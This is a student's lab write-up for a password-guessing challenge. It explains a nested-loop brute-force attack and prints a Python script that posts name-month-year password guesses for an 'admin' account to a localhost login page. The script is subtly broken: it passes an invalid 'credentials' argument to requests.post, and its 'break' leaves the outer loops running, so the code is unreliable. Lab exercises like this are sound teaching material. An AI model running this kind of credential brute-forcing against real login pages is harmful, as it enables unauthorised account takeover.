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Login Authentications Challenges: Challenge 2

Nov 3, 2023

Login Authentication Challenges Report: Challenge #2

Step #1:

Referencing the *Challenge 1*, this challenge is considered to be similar in the same methods. By taking into account now knowing the 4 people, 'Mike', 'Jane', 'John', 'Mark', we can create an attack that would utilize this to our advantage.

1. We create a 'For Loop' that iterates through the given format.
2. We first instantiate the first 'For Loop' to be names.
 - a. Then instantiate the second 'For Loop' to be months. Leading with 01, 02, etc.
 - i. After we instantiate the last 'For Loop' to be years.
 - ii. Once instantiated, we input credentials of user and password.
 - iii. Request data to be sent to the URL.
 - iv. Create an 'If-Then' statement. If output is equal to **not** 'ACCESS DENIED', then concatenate together names, months, and years. Then
break
3. Finally outprint the password.

```
1  # Dylan Ramdhan, CS 357
2  # Login Authentication: Challenge 2.0
3
4  # Importing Requests for the Website
5  import requests
6
7  url = "http://localhost:8080/login"
8
9  # Creating password variable
10 password = ''
11
12 ### Creating a Nested For Loop to Sift Through to find Password ###
13
14 # Names
15 for names in ['mike', 'jane', 'john', 'mark']:
16
17     # Months
18     for months in ['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12']:
19
20         # Iterating through the Range of Years
21         for years in range(2023, 1900, -1):
22             credentials = {
23                 'username': 'admin',
24                 # Password is combined with: [names][months][years]
25                 'password': names+months+str(years)
26             }
27
28             # Requesting to be Tested on the website
29             r = requests.post(url, credentials = credentials)
30
31             # Checking to see if ACCESS GRANTED
32             if 'ACCESS DENIED' not in r.text:
33                 password = names+months+str(years)
34                 break
35
36 # Printing out the Password
37 print(password)
```